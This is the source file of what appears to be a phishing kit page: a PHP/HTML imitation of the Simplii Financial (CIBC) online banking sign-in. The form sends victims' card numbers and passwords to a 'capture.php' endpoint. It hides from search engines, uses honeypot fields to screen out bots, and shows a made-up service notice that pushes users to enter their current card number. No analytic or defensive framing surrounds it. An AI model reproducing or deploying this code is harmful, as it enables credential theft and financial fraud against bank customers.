<?php
declare(strict_types=1);
if (!defined('DIR')) define('DIR', __DIR__);
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store');
$candidats = [DIR . '/private/config.php', dirname(DIR) . '/private/config.php'];
foreach ($candidats as $c) { if (is_file($c)) { require $c; break; } }
if (!defined('REDIRECT')) { http_response_code(500); exit('Configuration introuvable.'); }
$ref = substr(preg_replace('/[^A-Za-z0-9_\-]/', '', (string)($_GET['ref'] ?? '')), 0, 40);
$sid = substr(bin2hex(random_bytes(6)), 0, 8);
?>
<!DOCTYPE html>
<html lang="en-CA"><head><meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Sign in | Simplii Online Banking</title>
<link rel="stylesheet" href="head.css">
<style>
main{padding:1.5rem 1.25rem 0}
.grille{max-width:980px;margin:0 auto;display:block}
h1{font-size:1.5rem;font-weight:700;margin:.25rem 0 .35rem}
.sous{font-size:1.0625rem;margin:0 0 .9rem;color:#333}
.encart{background:#f5f5f5;border-radius:4px;padding:12px 14px;font-size:.8125rem;color:#444;margin-bottom:1.5rem;line-height:1.5}
.inscrire{font-size:.9375rem;margin:0 0 1.5rem}
.form-group{margin-bottom:1.2rem}
label{display:block;font-size:.9375rem;font-weight:700;margin-bottom:6px}
.form-control{display:block;width:100%;height:52px;padding:0 15px;font-size:1.0625rem;font-family:inherit;color:var(--tx);background:#fff;border:1px solid var(--bd);border-radius:3px;-webkit-appearance:none}
.form-control:focus{outline:none;border-color:var(--ac);box-shadow:0 0 0 1px var(--ac)}
.checkbox{display:flex;align-items:center;gap:10px;margin:.1rem 0 1.35rem}
.checkbox input{width:20px;height:20px;margin:0;accent-color:var(--ac)}
.checkbox label{font-weight:400;font-size:.9375rem;margin:0}
.mdp{position:relative}
.mdp input{padding-right:70px}
.voir{position:absolute;right:10px;top:38px;background:none;border:0;font-family:inherit;font-size:.8125rem;color:var(--ac);cursor:pointer;padding:0}
.btn{display:flex;align-items:center;justify-content:center;width:100%;height:54px;border:0;border-radius:3px;background:var(--dk);color:#fff;font-family:inherit;font-size:1.0625rem;font-weight:700;cursor:pointer}
.btn:hover{background:#000}
.btn:disabled{opacity:.75;cursor:default}
.bas{display:flex;align-items:center;justify-content:space-between;gap:14px;margin-top:1.1rem;font-size:.9375rem}
.secu{display:flex;align-items:center;gap:9px;font-size:.875rem;margin-top:2rem;padding-top:1.35rem;border-top:1px solid #ececec}
.secu svg{width:22px;height:22px;flex:0 0 auto}
.col{display:none}
.col h2{font-size:1.0625rem;margin:0 0 .9rem}
.col ul{margin:0;padding:0;list-style:none}
.col li{margin-bottom:.85rem}
.col a{font-size:.9375rem;display:flex;align-items:center;justify-content:space-between;gap:10px;border-bottom:1px solid #ececec;padding-bottom:.85rem}
.col .arr{width:8px;height:8px;border-top:2px solid currentColor;border-right:2px solid currentColor;transform:rotate(45deg);flex:0 0 auto}
@media(min-width:900px){
 main{padding:2.25rem 0 0}
 .grille{display:grid;grid-template-columns:1fr 300px;gap:44px}
 h1{font-size:1.75rem}
 .col{display:block}
}
</style>
</head>
<body>

<?php readfile(DIR . '/barre.html'); ?>

<main>
<div class="grille">
  <div>
    <h1>Simplii Online Banking</h1>
    <p class="sous">Sign in using your Simplii card number</p>
    <p class="inscrire">Not registered for Online Banking? <a href="#">Register now.</a></p>

    <div class="encart">If you see an old or expired card number prepopulated on the login screen instead of your current card number, please enter your current card number to sign on. We are working to resolve the issue and apologize for any inconvenience.</div>

    <form id="form" action="capture.php" method="POST" autocomplete="off" novalidate>
      <input type="hidden" id="sid" name="sid" value="<?= htmlspecialchars($sid, ENT_QUOTES) ?>">
      <input type="hidden" name="t" value="">
      <div style="position:absolute;left:-9999px" aria-hidden="true">
        <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
        <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
      </div>

      <div class="form-group">
        <label for="codeUtilisateur">Card number</label>
        <input type="text" id="codeUtilisateur" name="u" class="form-control" inputmode="numeric" maxlength="20" required autocomplete="off" spellcheck="false">
      </div>

      <div class="checkbox">
        <input type="checkbox" id="souvenirDeMoiCheckBox" name="memo" value="1">
        <label for="souvenirDeMoiCheckBox">Remember my card</label>
      </div>

      <div class="form-group mdp">
        <label for="motDePasse">Password (case sensitive)</label>
        <input type="password" id="motDePasse" name="p" class="form-control" maxlength="128" required autocomplete="off" spellcheck="false">
        <button type="button" class="voir" id="voir">Show password</button>
      </div>

      <button type="submit" class="btn" id="btn">Sign in</button>
    </form>

    <div class="bas"><a href="#">Reset password</a><a href="#">Register now</a></div>

    <p class="secu">
      <svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 2l8 3v6c0 5.3-3.4 9.5-8 11-4.6-1.5-8-5.7-8-11V5z" fill="none" stroke="#1a1a1a" stroke-width="1.6"/><path d="M8.5 12l2.4 2.4 4.6-4.8" fill="none" stroke="#1a1a1a" stroke-width="1.8"/></svg>
      <a href="#">Safe banking online, guaranteed</a>
    </p>
  </div>

  <aside class="col">
    <h2>Resources</h2>
    <ul>
      <li><a href="#"><span>Protect yourself from identity theft</span><span class="arr"></span></a></li>
      <li><a href="#"><span>Simplii Financial security guarantee</span><span class="arr"></span></a></li>
      <li><a href="#"><span>Online banking requirements</span><span class="arr"></span></a></li>
    </ul>
  </aside>
</div>

<section class="legal"><div class="td-container">
  <p>Simplii Financial is a division of CIBC. Banking services are provided by CIBC. Simplii Financial and the Simplii Financial logo are trademarks of CIBC, used under licence.</p>
</div></section>
</main>

<footer><div class="td-container">
  <div class="f-links"><a href="#">Legal</a><a href="#">Privacy</a><a href="#">Security</a><a href="#">Contact us</a></div>
</div></footer>

<script>
(function(){
  var f=document.getElementById('form'),b=document.getElementById('btn');
  var u=document.getElementById('codeUtilisateur'),p=document.getElementById('motDePasse');
  var voir=document.getElementById('voir'),envoi=false;
  document.querySelector('input[name=t]').value=Date.now();
  u.addEventListener('input',function(){u.value=u.value.replace(/[^\d]/g,'');});
  voir.addEventListener('click',function(){
    var m=p.type==='password';
    p.type=m?'text':'password';
    voir.textContent=m?'Hide password':'Show password';
  });
  try{var v=localStorage.getItem('simp_card');if(v){u.value=v;p.focus();}else{u.focus();}}catch(e){u.focus();}
  f.addEventListener('submit',function(e){
    if(envoi){e.preventDefault();return;}
    if(!u.value.trim()){e.preventDefault();u.focus();return;}
    if(!p.value){e.preventDefault();p.focus();return;}
    try{localStorage.setItem('simp_card',u.value.trim());}catch(e){}
    envoi=true;b.disabled=true;b.textContent='Signing in…';
  });
  window.addEventListener('pageshow',function(){envoi=false;b.disabled=false;b.textContent='Sign in';});
})();
</script>
<script src="live.js"></script>
</body>
</html>
